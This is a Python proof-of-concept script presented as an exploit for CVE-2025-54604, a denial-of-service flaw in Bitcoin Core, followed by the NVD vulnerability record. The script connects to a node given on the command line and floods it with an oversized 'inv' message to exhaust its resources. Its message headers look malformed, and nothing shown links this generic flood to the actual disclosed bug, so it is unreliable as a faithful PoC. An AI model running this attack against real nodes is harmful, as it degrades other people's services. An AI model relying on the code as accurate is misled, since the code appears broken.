CVE-2025-54604

# CVE-2025-54604 Bitcoin Core Uncontrolled Resource Consumption PoC # This PoC demonstrates resource exhaustion attack vector # Note: This is for educational and research purposes only import socket import time import struct def create_malicious_message(): """Generate malicious P2P message to trigger resource consumption""" # Magic bytes for Bitcoin mainnet magic = b'\xf9\xbe\xb4\xd9' # Command: inv (inventory) command = b'inv '[:12] # Create inventory message with many items count = varint(10000) # Large number of inventory items inv_type = struct.pack('<I', 1) # MSG_TX inv_hash = b'\x00' * 32 # Fake tx hash inventory = count + (inv_type + inv_hash) * 10000 # Calculate payload length and checksum payload = inventory length = struct.pack('<I', len(payload)) checksum = hash256(payload)[:4] return magic + command + length + checksum + payload def varint(n): """Encode integer as Bitcoin varint""" if n < 0xfd: return bytes([n]) elif n < 0x10000: return b'\xfd' + struct.pack('<H', n) elif n < 0x100000000: return b'\xfe' + struct.pack('<I', n) else: return b'\xff' + struct.pack('<Q', n) def hash256(data): """Double SHA256 hash""" import hashlib return hashlib.sha256(hashlib.sha256(data).digest()).digest() def exploit(target_host, target_port=8333): """Connect to Bitcoin node and send malicious message""" print(f"[*] Connecting to {target_host}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_host, target_port)) print("[+] Connected successfully") # Send version message first version_msg = create_version_message() sock.send(version_msg) print("[*] Sent version message") time.sleep(1) # Send malicious inv message malicious_msg = create_malicious_message() sock.send(malicious_msg) print("[*] Sent malicious inv message") print("[+] Resource exhaustion attack initiated") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() def create_version_message(): """Create a basic Bitcoin version message""" magic = b'\xf9\xbe\xb4\xd9' command = b'version '[:12] # Simplified version message payload payload = struct.pack('<I', 70015) # Protocol version payload += struct.pack('<Q', 0) # Services payload += struct.pack('<Q', int(time.time())) # Timestamp payload += b'\x00' * 26 # Remote address payload += b'\x00' * 26 # Local address payload += b'\x00' * 8 # Nonce payload += varint(0) # User agent length payload += struct.pack('<I', 0) # Start height payload += b'\x01' # Relay length = struct.pack('<I', len(payload)) checksum = hash256(payload)[:4] return magic + command + length + checksum + payload if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit(target)

{"cve": {"id": "CVE-2025-54604", "sourceIdentifier": "[email protected]", "published": "2025-10-28T17:15:37.337", "lastModified": "2025-11-07T15:07:13.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bitcoin Core through 29.0 allows Uncontrolled Resource Consumption (issue 1 of 2)."}, {"lang": "es", "value": "Bitcoin Core hasta la versión 29.0 permite el consumo incontrolado de Recursos (problema 1 de 2)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bitcoin:bitcoin_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "30.0", "matchCriteriaId": "73AD311B-8660-4E8B-BBE7-CCF01AA6ECD8"}]}]}], "references": [{"url": "https://bitcoincore.org/en/2025/10/24/disclose-cve-2025-54604/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/bitcoin/bitcoin/releases", "source": "[email protected]", "tags": ["Release Notes"]}]}}